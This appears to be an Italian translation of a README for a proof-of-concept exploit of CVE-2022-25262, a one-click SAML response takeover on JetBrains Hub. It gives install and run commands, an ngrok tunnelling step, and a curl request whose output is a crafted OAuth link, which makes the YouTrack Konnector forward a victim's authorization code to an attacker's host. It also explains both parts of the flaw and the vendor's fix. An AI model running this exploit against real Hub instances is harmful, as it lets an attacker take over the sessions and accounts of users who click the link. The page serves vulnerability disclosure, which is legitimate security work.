
PoC + dettagli sulla vulnerabilità per CVE-2022-25262 / Acquisizione della risposta SAML con un solo clic su JetBrains Hub
PoC + dettagli sulla vulnerabilità per CVE-2022-25262 | Acquisizione della risposta SAML con un solo clic su JetBrains Hub
Installa ed esegui:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
Utilizzo:
Parametri della query:
Ottieni il link dell'exploit:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
DEMO:
La debolezza consiste in 2 parti:
Il SAML IdP funge da estensione per OAuth. Quando un utente specifico vuole accedere a un determinato provider di servizi, passa attraverso il flusso del codice di autorizzazione OAuth (richieste 1-2) e, una volta ottenuto il codice, lo restituisce all'Hub (richiesta 3). L'Hub prende le informazioni sull'utente associate al codice ed emette una risposta SAML firmata per il servizio. Anche se il SAML IdP utilizza il client OAuth2 dell'Hub (client_id=0-0-0-0-0), per l'integrazione non verifica per conto di quale client OAuth sia stato emesso il codice. L'unica cosa che conta qui è se il codice è valido. Ciò potrebbe portare all'acquisizione della risposta SAML se l'attaccante trova un modo per acquisire il codice di autorizzazione da qualsiasi client OAuth registrato nell'Hub.

YouTrack Konnector è un servizio di prima parte che consente di connettere una specifica istanza YouTrack con il loro bot Slack. Il servizio prende l'URL di un YouTrack e sia l'id che il segreto del client OAuth di Konnector (richiesta 1). Quindi cerca di verificare che l'URL fornito punti a un YouTrack valido chiamando diversi endpoint API ("handshake" richieste 2-3). Se tutto va bene, Konnector restituirà l'URL che consentirebbe a un utente specifico di procedere con il flusso del codice di autorizzazione OAuth (risposta 1). L'URL contiene un parametro query "state" che aiuta Konnector a instradare il codice di autorizzazione OAuth al gestore appropriato (istanza Hub). Un attaccante potrebbe creare un host con gli endpoint necessari per l'"handshake" e ottenere un parametro "state" che punta all'host dell'attaccante. Successivamente, un attaccante potrebbe creare un URL di autorizzazione OAuth e inviarlo a una vittima. Se la vittima clicca sul link e completa il flusso OAuth (la vittima deve avere una sessione valida in Hub), il servizio Konnector riceverà il codice e lo invierà all'host dell'attaccante (richieste 4-6).

Il team di YouTrack ha aggiunto un controllo che consente di utilizzare i codici di autorizzazione emessi per il client OAuth "JetBrains Hub Service" durante il processo di scambio "OAuth2 -> SAML". Di conseguenza, non è possibile scambiare i codici di autorizzazione emessi per il client OAuth "YouTrack Konnector".
| Name | Description | Required |
|---|
| hub_url | URL dell'istanza Hub target | ✅ |
| issuer | Emittente SAML | ✅ |
| acs_url | URL del servizio di consumo dell'asserzione | ✅ |
| youtrack_url | URL dell'istanza YouTrack connessa all'Hub (richiesto se l'utente guest è disabilitato) | ❔ |